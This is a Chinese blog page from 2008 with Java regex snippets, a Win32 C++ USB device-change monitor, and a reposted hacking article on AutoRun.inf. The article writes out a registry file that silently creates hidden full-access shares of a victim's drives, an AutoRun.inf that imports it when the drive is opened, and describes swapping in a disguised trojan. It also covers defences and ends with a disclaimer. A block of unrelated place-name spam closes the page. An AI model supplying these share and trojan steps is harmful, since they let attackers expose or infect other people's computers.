u-s-soldiers

          BlogJava 首頁 新隨筆 聯系 聚合 管理
            13 Posts :: 0 Stories :: 1 Comments :: 0 Trackbacks

          2008年4月30日 #

          public class StringUtil {

            
           public static void replaceBlank()
           {
            Pattern p = Pattern.compile(\\s*|\t|\r|\n);
            String str="I am a, I am Hello  ok, \n new line ffdsa!";
            System.out.println("before:"+str);
            Matcher m = p.matcher(str);
            String after = m.replaceAll(""); 
            System.out.println("after:"+after);
           }
           
           public static void main(String[] args) {
              replaceBlank();
            }

          posted @ 2008-05-13 02:42 u-s-soldiers 閱讀(512) | 評論 (0)編輯 收藏

          正則表達式在字符串處理上有著強大的功能,sun在jdk1.4加入了對它的支持 

          下面簡單的說下它的4種常用功能:

          查詢:

          String str="abc efg ABC";

          String regEx="a|f";   //表示a或f 

          Pattern p=Pattern.compile(regEx);

          Matcher m=p.matcher(str);

          boolean rs=m.find();

          如果str中有regEx,那么rs為true,否則為flase。如果想在查找時忽略大小寫,則可以寫成Pattern p=Pattern.compile(regEx,Pattern.CASE_INSENSITIVE);

          提取:
          String regEx=".+\\\\(.+)$";

          String str="c:\\dir1\\dir2\\name.txt";

          Pattern p=Pattern.compile(regEx);

          Matcher m=p.matcher(str);

          boolean rs=m.find();

          for(int i=1;i<=m.groupCount();i++){

          System.out.println(m.group(i));

          }

          以上的執行結果為name.txt,提取的字符串儲存在m.group(i)中,其中i最大值為m.groupCount();

          分割:

          String regEx="::";

          Pattern p=Pattern.compile(regEx);

          String[] r=p.split("xd::abc::cde");

          執行后,r就是{"xd","abc","cde"},其實分割時還有跟簡單的方法:

          String str="xd::abc::cde";

          String[] r=str.split("::");

          替換(刪除):

          String regEx="a+"; //表示一個或多個a

          Pattern p=Pattern.compile(regEx);

          Matcher m=p.matcher("aaabbced a ccdeaa");

          String s=m.replaceAll("A");

          結果為"Abbced A ccdeA"

          如果寫成空串,既可達到刪除的功能,比如:

          String s=m.replaceAll("");

          結果為"bbced  ccde"

          附:

          \d 等於 [0-9] 數字 
          \D 等於 [^0-9] 非數字 
          \s 等於 [ \t\n\x0B\f\r] 空白字元 
          \S 等於 [^ \t\n\x0B\f\r] 非空白字元 
          \w 等於 [a-zA-Z_0-9] 數字或是英文字 
          \W 等於 [^a-zA-Z_0-9] 非數字與英文字 

          ^ 表示每行的開頭
          $ 表示每行的結尾
          posted @ 2008-05-03 14:44 u-s-soldiers 閱讀(212) | 評論 (0)編輯 收藏

          // UsbHook.cpp : Defines the entry point for the application.
          //

          #include "stdafx.h"
          #include "Dbt.h"

          void DeviceChangeEventOpt(WPARAM wParam, LPARAM lParam)
          {
           switch(wParam)
           {
           case DBT_CONFIGCHANGECANCELED:
            MessageBox(NULL,"設備改變DBT_CONFIGCHANGECANCELED","提示",MB_OK);
            break;
           case DBT_CONFIGCHANGED:
            MessageBox(NULL,"設備改變DBT_CONFIGCHANGED","提示",MB_OK);
            break;
           //case DBT_CUSTOMEVENT:
           // MessageBox(NULL,"設備改變DBT_CUSTOMEVENT","提示",MB_OK);
           // break;
           case DBT_DEVICEARRIVAL: // A device has been inserted and is now available. 
           
            MessageBox(NULL,"設備改變DBT_DEVICEARRIVAL","提示",MB_OK);
            
            DEV_BROADCAST_HDR *stHDR;
            stHDR = (DEV_BROADCAST_HDR *)lParam;

            //判斷設備類型
            switch(stHDR->dbch_devicetype)
            {
            case DBT_DEVTYP_DEVNODE:
             MessageBox(NULL,"設備類型 DBT_DEVTYP_DEVNODE","提示",MB_OK);
             break;
            case DBT_DEVTYP_NET:
             MessageBox(NULL,"設備類型 DBT_DEVTYP_NET","提示",MB_OK);
             break;
            case DBT_DEVTYP_OEM:
             MessageBox(NULL,"設備類型 DBT_DEVTYP_OEM","提示",MB_OK);
             break;
            case DBT_DEVTYP_PORT:
             MessageBox(NULL,"設備類型 DBT_DEVTYP_PORT","提示",MB_OK);
             break;
            case DBT_DEVTYP_VOLUME:// Logical volume. This structure is a DEV_BROADCAST_VOLUME structure
             MessageBox(NULL,"設備類型 DBT_DEVTYP_VOLUME","提示",MB_OK);
             break;
            }
            //
           
            break;
            case DBT_DEVICEQUERYREMOVE:
             MessageBox(NULL,"設備改變DBT_DEVICEQUERYREMOVE","提示",MB_OK);
             break; 
            case DBT_DEVICEQUERYREMOVEFAILED:
             MessageBox(NULL,"設備改變DBT_DEVICEQUERYREMOVEFAILED","提示",MB_OK);
             break; 
            case DBT_DEVICEREMOVECOMPLETE:// A device has been removed.
             MessageBox(NULL,"設備改變DBT_DEVICEREMOVECOMPLETE","提示",MB_OK);
             break; 
            case DBT_DEVICEREMOVEPENDING://
             MessageBox(NULL,"設備改變DBT_DEVICEREMOVEPENDING","提示",MB_OK);
             break; 
            case DBT_DEVICETYPESPECIFIC://
             MessageBox(NULL,"設備改變DBT_DEVICETYPESPECIFIC","提示",MB_OK);
             break; 
            case DBT_QUERYCHANGECONFIG: 
             MessageBox(NULL,"設備改變DBT_QUERYCHANGECONFIG","提示",MB_OK);
             break; 
            case DBT_USERDEFINED ://
             MessageBox(NULL,"設備改變DBT_USERDEFINED","提示",MB_OK);
             break;
             
           }
          }

          HWND  hwndMain;
          LRESULT CALLBACK WndProc(
                 HWND hwnd,      // handle to window
                 UINT uMsg,      // message identifier
                 WPARAM wParam,  // first message parameter
                 LPARAM lParam   // second message parameter
                 )
          {
           
           switch(uMsg)
           {
           case WM_CREATE:
            break;
           case WM_DESTROY:
            PostQuitMessage(0);
            break;
           case WM_COMMAND:
            break;
           case WM_DEVICECHANGE:
            
            DeviceChangeEventOpt(wParam,lParam);
            
            
            break;
           }
           return DefWindowProc(hwnd,uMsg,wParam,lParam);
          }

          int APIENTRY WinMain(HINSTANCE hInstance,
                               HINSTANCE hPrevInstance,
                               LPSTR     lpCmdLine,
                               int       nCmdShow)
          {
            // TODO: Place code here.

           // TODO: Place code here.
           
           WNDCLASSEX wclass;
           MSG msg;
           
           wclass.cbClsExtra = 0;
           wclass.cbSize = sizeof(WNDCLASSEX);
           wclass.cbWndExtra = 0;
           wclass.hbrBackground = (HBRUSH)GetStockObject(LTGRAY_BRUSH);
           wclass.hCursor = NULL;
           wclass.hIcon = NULL;
           wclass.hIconSm = NULL;
           wclass.hInstance = hInstance;
           wclass.lpfnWndProc =(WNDPROC)WndProc;
           wclass.lpszClassName = "CheckUSB";
           wclass.lpszMenuName = NULL;
           wclass.style = CS_DBLCLKS;
           
           
           
           if(!RegisterClassEx(&wclass))
           {
            MessageBox(NULL,"類創建失敗","類創建失敗",MB_OK);
           }
           hwndMain = CreateWindow("CheckUSB","檢測USB設備",
            WS_OVERLAPPED | WS_SYSMENU  | WS_MINIMIZEBOX | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 320, 300,NULL, NULL, hInstance, NULL);
           while(GetMessage(&msg,NULL,0,0))
           {
            TranslateMessage(&msg);   //translate the message into its char equivelent
            DispatchMessage(&msg);
           }
           
           return msg.wParam;

          }

           

          原帖來自http://search.csdn.net/Expert/topic/989/989392.xml?temp=.1137812
          代碼中有部分參數意思不是很明確,在參考了msdn后做了一定的改動。用U盤測試并沒有什么問題。反正那幾個參數標識的也不是U盤的參數。
          用USB鼠標和鍵盤測試并沒有反映,但是可以監視USB存儲設備感覺已經達到要求了,有時間再改進一下

          posted @ 2008-04-30 03:38 u-s-soldiers 閱讀(1339) | 評論 (1)編輯 收藏

          最近網上流行通過AutoRun.inf文件使對方所有的硬盤完全共享或中木馬的方法,由于AutoRun.inf文件在黑客技術中的應用還是很少見的,相應的資料也不多,有很多人對此覺得很神秘,本文試圖為您解開這個迷,使您能完全的了解這個并不復雜卻極其有趣的技術。

          一、理論基礎

          經常使用光盤的朋友都知道,有很多光盤放入光驅就會自動運行,它們是怎么做的呢?光盤一放入光驅就會自動被執行,主要依靠兩個文件,一是光盤上的AutoRun.inf文件,另一個是操作系統本身的系統文件之一的Cdvsd.vxd。Cdvsd.vxd會隨時偵測光驅中是否有放入光盤的動作,如果有的話,便開始尋找光盤根目錄下的AutoRun.inf文件。如果存在AutoRun.inf文件則執行它里面的預設程序。

          AutoRun.inf不光能讓光盤自動運行程序,也能讓硬盤自動運行程序,方法很簡單,先打開記事本,然后用鼠標右鍵點擊該文件,在彈出菜單中選擇“重命名”,將其改名為AutoRun.inf,在AutoRun.inf中鍵入以下內容:

          [AutoRun]    //表示AutoRun部分開始,必須輸入

          Icon=C:\C.ico  //給C盤一個個性化的盤符圖標C.ico

          Open=C:\1.exe  //指定要運行程序的路徑和名稱,在此為C盤下的1.exe

          保存該文件,按F5刷新桌面,再看“我的電腦”中的該盤符(在此為C盤),你會發現它的磁盤圖標變了,雙擊進入C盤,還會自動播放C盤下的1.exe文件!

          解釋一下:“[AutoRun]”行是必須的固定格式,“Icon”行對應的是圖標文件,“C:\C.ico”為圖標文件路徑和文件名,你在輸入時可以將它改為你的圖片文件所在路徑和文件名。另外,“.ico”為圖標文件的擴展名,如果你手頭上沒有這類文件,可以用看圖軟件ACDSee將其他格式的軟件轉換為ico格式,或者找到一個后綴名為BMP的文件,將它直接改名為ICO文件即可。

          “Open”行指定要自動運行的文件及其盤符和路徑。要特別說明的是,如果你要改變的硬盤跟目錄下沒有自動播放文件,就應該把“OPEN”行刪掉,否則就會因為找不到自動播放文件而打不開硬盤,此時只能用鼠標右鍵單擊盤符在彈出菜單中選“打開”才行。

          請大家注意:保存的文件名必須是“AutoRun.inf”,編制好的Autorun.inf文件和圖標文件一定要放在硬盤根目錄下。更進一步,如果你的某個硬盤內容暫時比較固定的話,不妨用Flash做一個自動播放文件,再編上“Autorun”文件,那你就有最酷、最個性的硬盤了。

          到這兒還沒有完。大家知道,在一些光盤放入后,我們在其圖標上單擊鼠標右鍵,還會產生一個具有特色的目錄菜單,如果能對著我們的硬盤點擊鼠標右鍵也產生這樣的效果,那將更加的有特色。其實,光盤能有這樣的效果也僅僅是因為在AutoRun.inf文件中有如下兩條語句:

          shell\標志=顯示的鼠標右鍵菜單中內容

          shell\標志\command=要執行的文件或命令行

          所以,要讓硬盤具有特色的目錄菜單,在AutoRun.inf文件中加入上述語句即可,示例如下:

          shell\1=天若有情天亦老

          shell\1\command\=notepad ok.txt

          保存完畢,按F5鍵刷新,然后用鼠標右鍵單擊硬盤圖標,在彈出菜單中會發現“天若有情天亦老”,點擊它,會自動打開硬盤中的“ok.txt”文件。注意:上面示例假設“ok.txt”文件在硬盤根目錄下,notepad為系統自帶的記事本程序。如果要執行的文件為直接可執行程序,則在“command\”后直接添加該執行程序文件名即可。

          二、實例

          下面就舉個例子:如果你掃到一臺開著139共享的機器,而對方只完全共享了D盤,我們要讓對方的所有驅動器都共享。首先編輯一個注冊表文件,打開記事本,鍵入以下內容:

          REGEDIT4
          '此處一定要空一行
          [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
          "Path"="C:"
          "Remark"=""
          "Type"=dword:00000000
          "Flags"=dword:00000302
          "Parmlenc"=hex:
          "Parm2enc"=hex:

          [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\D$]
          "Path"="D:"
          "Remark"=""
          "Type"=dword:00000000
          "Flags"=dword:00000302
          "Parmlenc"=hex:
          "Parm2enc"=hex:

          [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
          "Path"="E:"
          "Remark"=""
          "Type"=dword:00000000
          "Flags"=dword:00000302
          "Parmlenc"=hex:
          "Parm2enc"=hex:

          以上我只設置到E盤,如果對方有很多邏輯盤符的請自行設置。將以上部分另存為Share.reg文件備用。要特別注意REGEDIT4為大寫且頂格書寫,其后要空上一行,在最后一行記得要按一次回車鍵。

          然后打開記事本,編制一個AutoRun.inf文件,鍵入以下內容:

          [AutoRun]
          Open=regedit/s Share.reg //加/s參數是為了導入時不會顯示任何信息

          保存AutoRun.inf文件。將Share.reg和AutoRun.inf這兩個文件都復制到對方的D盤的根目錄下,這樣對方只要雙擊D盤就會將Share.reg導入注冊表,這樣對方電腦重啟后所有驅動器就會都完全共享出來。

          如果想讓對方中木馬,只要在AutoRun.inf文件中,把“Open=Share.Reg”改成“Open=木馬服務端文件名”,然后把AutoRun.inf和配置好的木馬服務端一起復制到對方D盤的根目錄下,這樣不需對方運行木馬服務端程序,而只需他雙擊D盤就會使木馬運行!這樣做的好處顯而易見,那就是大大的增加了木馬運行的主動性!須知許多人現在都是非常警惕的,不熟悉的文件他們輕易的不會運行,而這種方法就很難防范了。

          要說明的是,給你下木馬的人不會那么蠢的不給木馬加以偽裝,一般說來,他們會給木馬服務端文件改個名字,或好聽或和系統文件名很相像,然后給木馬換個圖標,使它看起來像TXT文件、ZIP文件或圖片文件等,,最后修改木馬的資源文件使其不被殺毒軟件識別(具體的方法可以看本刊以前的文章),當服務端用戶信以為真時,木馬卻悄悄侵入了系統。其實,換個角度理解就不難了——要是您給別人下木馬我想你也會這樣做的。以上手段再輔以如上內容的AutoRun.inf文件就天衣無縫了!

          三、防范方法

          共享分類完全是由flags標志決定的,它的鍵值決定了共享目錄的類型。當flags=0x302時,重新啟動系統,目錄共享標志消失,表面上看沒有共享,實際上該目錄正處于完全共享狀態。網上流行的共享蠕蟲,就是利用了此特性。如果把"Flags"=dword:00000302改成"Flags"=dword:00000402,就可以看到硬盤被共享了,明白了嗎?秘密就在這里!

          以上代碼中的Parmlenc、Parm2enc屬性項是加密的密碼,系統在加密時采用了8位密碼分別與“35 9a 4b a6 53 a9 d4 6a”進行異或運算,要想求出密碼再進行一次異或運算,然后查ASCII表可得出目錄密碼。在網絡軟件中有一款軟件就利用該屬性進行網絡密碼破解的,在局域網內從一臺機器上可以看到另一臺計算機的共享密碼。

          利用TCP/IP協議設計的NethackerⅡ軟件可以穿過Internet網絡,找到共享的主機,然后進行相應操作。所以當您通過Modem上網時,千萬要小心,因為一不小心,您的主機將完全共享給對方了。

          解決辦法是把

          HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan

          下面的“C$”、“D$”、“E$”等刪掉。然后刪除windows\system\下面的Vserver.vxd刪除,它是Microsoft網絡上的文件與打印機共享虛擬設備驅動程序,再把

          HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\

          下的Vserver鍵值刪掉,就會很安全了。

          另外,關閉硬盤AutoRun功能也是防范黑客入侵的有效方法之一。具體方法是在“開始”菜單的“運行”中輸入Regedit,打開注冊表編輯器,展開到

          HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer

          主鍵下,在右側窗格中找到“NoDriveTypeAutoRun”,就是這個鍵決定了是否執行CDROM或硬盤的AutoRun功能。

          雙擊“NoDriveTypeAutoRun”,在默認狀態下(即你沒有禁止過AutoRun功能),在彈出窗口中可以看到“NoDriveTypeAutoRun”默認鍵值為95,00,00,00。其中第一個值“95”是十六進制值,它是所有被禁止自動運行設備的和。將“95”轉為二進制就是10010101,其中每位代表一個設備,Windows中不同設備會用如下數值表示:

          設備名稱     第幾位 值 設備用如下數值表示  設備名稱含義
          DKIVE_UNKNOWN   0  1  01h       不能識別的設備類型
          DRIVE_NO_ROOT_DIR 1  0  02h       沒有根目錄的驅動器(Drive without root  
          directory)
          DRIVE_REMOVABLE  2  1  04h       可移 動驅動器(Removable drive)
          DRIVE_FIXED    3  0  08h       固定的驅動器(Fixed drive)
          DRIVE_REMOTE   4  1  10h       網絡驅動器(Network drive)
          DRIVE_CDROM    5  0  20h       光驅(CD-ROM)  
          DRIVE_RAMDISK   6  0  40h       RAM磁盤(RAM Disk)
          保留       7  1  80h       未指定的驅動器類型(Not yet
          specified drive disk)

          在上面所列的表中值為“0”表示設備運行,值為“1”表示該設備不運行(默認情況下,Windows禁止80h、10h、4h、01h這些設備自動運行,這些數值累加正好是十六進制的95h,所以NoDriveTypeAutoRun”默認鍵值為95,00,00,00)。

          由上面的分析不難看出,在默認情況下,會自動運行的設備是DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK這四個保留設備,所以要禁止硬盤自動運行AutoRun.inf文件,就必須將DRIVE_FIXED的值設為1,這是因為DRIVE_FIXED代表固定的驅動器,即硬盤。這樣一來,原來的10010101(在表中“值”列中由下向上看)就變成了二進制的10011101,轉為十六進制為9D。現在,將“NoDriveTypeAutoRun”的鍵值改為9D,00,00,00后關閉注冊表編輯器,重啟電腦后就會關閉硬盤的AutoRun功能。

          如果你看明白了,那你肯定知道該怎樣禁止光盤AutoRun功能了,對!就是將DRIVE_CDROM設為1,這樣“NoDriveTypeAutoRun”鍵值中的第一個值就變成了10110101,也就是十六進制的B5。將第一個值改為B5后關閉注冊表編輯器,重啟電腦后就會關閉CDROM的Autorun功能。如果僅想禁止軟件光盤的AutoRun功能,但又保留對CD音頻碟的自動播放能力,這時只需將“NoDriveTypeAutoRun”的鍵值改為:BD,00,00,00即可。

          如果想要恢復硬盤或光驅的AutoRun功能,進行反方向操作即可。

          事實上,大多數的硬盤根目錄下并不需要AutoRun.inf文件來運行程序,因此我們完全可以將硬盤的AutoRun功能關閉,這樣即使在硬盤根目錄下有AutoRun.inf這個文件,Windows也不會去運行其中指定的程序,從而可以達到防止黑客利用AutoRun.inf文件入侵的目的。

          除此以外,我們還應讓Windows能顯示出隱藏的共享。大家都知道,在Windows 9X中設置共享時,通過在共享名后加上“$”這個符號,可使共享隱藏。比如,我們給一個名為share的計算機的C盤設置共享時,只要將其共享名設為C$。這樣我們將看不到被共享的C盤,只有通過輸入該共享的確切路徑,才能訪問此共享。不過我們只要用將電腦中的msnp32.dll文件稍做修改。就可以讓Windows顯示出隱藏的共享。

          由于在Windows下msnp32.dll會被調用,不能直接修改此文件,所以第一步我們要復制msnp32.dll到C盤下并改名為msnp32,msnp32.dll在C:\Windows\system文件夾下。運行UltraEdit等十六進制文件編輯器打開msnp32,找到“24 56 E8 17”(位于偏移地址00003190~000031A0處),找到后將“24”改為“00”,然后保存,關閉UltraEdit。重啟計算機進入DOS模式,在命令提示符下輸入copy c:\msnp32.dll c:\Windows\system\msnp32.dll,重啟進入Windows,現在雙擊share就能看見被隱藏的共享了。

          最后要提醒大家利用TCP/IP協議設計的NethackerⅡ等黑客軟件可以穿過Internet網絡,找到共享的主機,然后進行相應操作。所以當您通過Modem上網時,千萬要小心,因為一不小心,您的主機將完全共享給對方了。防范這類事情發生的方法無非是經常檢查系統,給系統打上補丁,經常使用反黑殺毒軟件,上網時打開防火墻,注意異常現象,留意AutoRun.inf文件的內容,關閉共享或不要設置為完全共享,且加上復雜的共享密碼。

          聲明:本文的目的是使大家能清楚地了解網上流行的黑客手段,增強自己的防護意識,因此請大家不要用本文的方法去干違法的事情,切記:己所不欲,勿施于人!

          posted @ 2008-04-30 01:46 u-s-soldiers 閱讀(201) | 評論 (0)編輯 收藏

          主站蜘蛛池模板: 高密市| 耒阳市| 九龙城区| 东至县| 喀什市| 安徽省| 乌苏市| 突泉县| 安岳县| 勃利县| 岳阳市| 江津市| 和田市| 石家庄市| 克东县| 梁山县| 含山县| 博兴县| 阳原县| 民乐县| 呈贡县| 罗定市| 新化县| 山东省| 灵丘县| 临高县| 巴彦县| 东莞市| 南昌市| 开江县| 赤城县| 武陟县| 邢台市| 新民市| 雅安市| 周至县| 金塔县| 邮箱| 塔城市| 灵石县| 壶关县|